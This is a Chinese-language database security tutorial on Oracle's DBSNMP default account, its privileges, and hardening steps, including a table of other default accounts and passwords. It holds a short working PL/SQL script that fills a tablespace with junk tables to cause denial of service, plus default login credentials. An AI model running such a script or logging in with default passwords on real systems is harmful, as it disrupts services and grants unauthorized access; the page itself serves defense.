首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle 隱形安全隱患:DBSNMP 預設帳號與 UNLIMITED TABLESPACE 權限

     編輯:Oracle 資料庫基礎

問題背景

典型安裝後,DBA 習慣修改 SYS/SYSTEM/INTERNAL 密碼,卻常忽略 DBSNMP 用戶——智能代理預設帳號,密碼同名 DBSNMP。

權限分析

SQL> CONNECT DBSNMP/DBSNMP
SQL> SELECT * FROM SESSION_PRIVS;
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE      -- ★ 高風險
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE PUBLIC SYNONYM     -- ★ 高風險
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE TRIGGER
ANALYZE ANY
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE

攻擊向量

  1. 空間耗盡拒絕服務:利用 UNLIMITED TABLESPACE 在任意表空間無限建表/插入垃圾資料,撐爆資料檔案,導致實例掛起
  2. 公共同義詞劫持:CREATE PUBLIC SYNONYM 可覆蓋系統物件引導應用執行惡意代碼
  3. 資料竊取:具備 CREATE SESSION 即可連線,配合 SELECT ANY TABLE(若被授予)可讀取敏感資料

實測攻擊腳本

-- 攻擊者僅需 DBSNMP/DBSNMP 登入即可執行
BEGIN
  FOR i IN 1..10000 LOOP
    EXECUTE IMMEDIATE 'CREATE TABLE trash_'||i||' (data CHAR(4000)) TABLESPACE USERS';
    EXECUTE IMMEDIATE 'INSERT INTO trash_'||i||' SELECT RPAD(''X'',4000,''X'') FROM DUAL CONNECT BY LEVEL <= 1000';
    COMMIT;
  END LOOP;
END;
/

幾分鐘內可佔滿 USERS 表空間,業務全面中斷。

修復與加固

  1. 立即修改密碼:ALTER USER DBSNMP IDENTIFIED BY ComplexPass#2024;
  2. 回收過度權限(若不使用智能代理):
    REVOKE UNLIMITED TABLESPACE FROM DBSNMP;
    REVOKE CREATE PUBLIC SYNONYM FROM DBSNMP;
  3. 鎖定帳號(10g+):ALTER USER DBSNMP ACCOUNT LOCK;
  4. 審計追蹤:啟用 AUDIT CREATE SESSION BY DBSNMP; 記錄所有登入嘗試
  5. 定期掃描:納入密碼巡檢腳本,檢測預設/弱密碼帳號

延伸:其他常見預設帳號

帳號用途預設密碼建議動作
DBSNMP智能代理DBSNMP修改/鎖定/回收權限
OUTLN計劃穩定OUTLN鎖定
CTXSYSTextCTXSYS修改/鎖定
MDSYSSpatialMDSYS修改/鎖定
ORDSYSInterMediaORDSYS修改/鎖定

結語

「修改 SYS/SYSTEM 密碼」只是安全基線的起點。DBSNMP 擁有系統級權限卻常被遺忘,是內部威脅與外部滲透的絕佳跳板。將「預設帳號清理」納入資料庫上線驗收清單,執行「最小權限、強密碼、帳號鎖定、審計全覆蓋」四步法,才能堵住這個隱形後門。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved